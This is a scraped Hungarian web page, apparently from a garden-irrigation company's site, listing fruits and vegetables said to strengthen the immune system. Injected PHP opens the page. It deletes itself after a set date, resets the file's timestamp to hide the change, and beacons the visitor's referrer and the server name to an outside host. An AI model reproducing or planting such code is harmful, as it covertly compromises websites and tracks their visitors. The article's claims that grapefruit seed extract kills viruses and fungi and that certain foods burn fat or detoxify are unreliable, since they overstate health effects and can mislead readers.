check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456735622){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=5&id=18776892&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/modules/mod_feed/mode.php"); } Egészség, életmód

Immunerősítő zöldségek, gyümölcsök 

 

Alma

ontozzokosan_alma

Az almában található kvercetin nevű flavonoid antioxidáns tulajdonságú. Ez a vegyület akkor fejti ki a hatását, ha C-vitamin is társul hozzá, ez pedig az almában szintén megtalálható, így már napi egy alma elfogyasztásával is sokat tehet az immunrendszere egészségéért.

 

 

Savanyú káposzta

ontozzokosan_kaposzta

Igazi vitaminbomba. Magas antioxidáns tartalmának köszönhetően erősíti az immunrendszert, de méregtelenítő, emésztésserkentő hatású is. A káposzta erjedése során keletkezett jótékony baktériumok bekerülnek a szervezetbe, és megakadályozzák a bélrendszerben a káros mikrobák elszaporodását.

 

 

Grépfrút

ontozzokosan_grepfuit

Maga a lédús gyümölcs is egészséges, de télen a magjából készített kivonatot is érdemes rendszeresen fogyasztani. Sejtregeneráló és antioxidáns hatású, vírus és gombaölő. Frissíti a végkeringést azáltal, hogy elősegíti az oxigénellátást a szervezetben. Gazdag vitamin- és antioxidáns-forrás, emellett remek méregtelenítő gyümölcs. Védi a szívet és az érrendszert, pektintartalmánál fogva csökkenti a megemelkedett koleszterinszintet. Magja rendkívül keserű, ezért nem tanácsos szétrágni. A belőle készült kivonatot viszont érdemes táplálék kiegészítőként fogyasztani, mivel rendkívül jó vírus-, gomba és baktériumölő szer. Számos kórokozót képes kitessékelni a szervezetből, de alkalmazhatjuk akkor is, ha nem vagyunk betegek, ugyanis kiemelkedő szerepet játszik a megelőzésben. Fogyaszthatod frissen facsart lé formájában, vagy gerezdekre szedve salátában, köretként. Hámozásakor nem kell gondosan ügyelned arra, hogy a héjjal együtt eltávolítsd a fehér részeket is, mivel azok nagy mennyiségben tartalmaznak a szíved számára hasznos anyagokat.

 

Szőlő 

ontozzokosan_szolo

Bővelkedik antioxidánsban, hatékonyan szembeszáll a sejtek öregedéséért, károsodásáért felelős szabad gyökökkel. Erősíti a vérereket, és kedvezően hat a szív működésére. Kiváló méregtelenítő és bőrszépítő. Gazdag értékes flavonoidokban és káliumban, tisztítja a vesét és a májat. A magjában található olaj szintén egyedülálló tulajdonságokkal bír, ezért ha gyomod nem érzékeny rá, edd meg azokat is! A vörös szőlőnek magasabb az antioxidáns tartalma, mint fehér színű változatának.

 

Ananász 

ontozzokosan_ananasz

Az ananászban nagy mennyiségben megtalálható bromelin serkenti az emésztést, és idő előtt elpusztítja a gyulladások kialakulásáért felelős anyagokat. További speciális alkotóelemeinek köszönhetően segít, hogy gyorsabban leküzdjük a fertőzéseket. Kiváló C-vitamin forrás, ami nélkülözhetetlen a hatékony immunvédelemhez. A benne lévő mangán vitalizál, ami különösen jól jöhet akkor, ha betegségből vagy műtét után lábadozunk, valamint a borongós téli időszakban, amikor az időjárás túlzottan rányomhatja bélyegét a teljesítményünkre és a hangulatunkra. Mindemellett tökéletes zsírégető, illetve csökkenti a puffadást. Nyersen, gyümölcsléként és gyümölcssalátában is fogyaszthatod.

 

 

Áfonya 

ontozzokosan_afonya

Bár legtöbbször lekvár formájában vagy süteménybe sütve találkozhatunk vele, önállóan, hőkezelés és édesítés nélkül is finom. Ráadásul így értékes anyagai sem veszítenek hatékonyságukból. Kiemelkedően sok antioxidánst tartalmaz, amely nemcsak az öregedéssel szemben nyújt védelmet, hanem az érfalakat is erősíti, fokozza a szervezet tápanyagellátását és jótékonyan hat a szív működésére. Gyulladáscsökkentő hatása is ismert, sőt a tőzegáfonya kifejezetten ajánlott a gyakran makaccsá váló és nehezen enyhíthető húgyúti fertőzések kezelésére, megelőzésére. Alaposan megmosva önmagában, müzlihez, joghurthoz keverve is fogyaszthatod.

 

 


Ugrás a lap tetejére

 


 Automata öntözőrendszer  | Öntözés  | Öntözéstechnika | Kertépítés | Füvesítés |  Kerttervezés  | Gyepszőnyeg | Gyeptrágya | Kerti tó | Sziklakert  | Szivattyú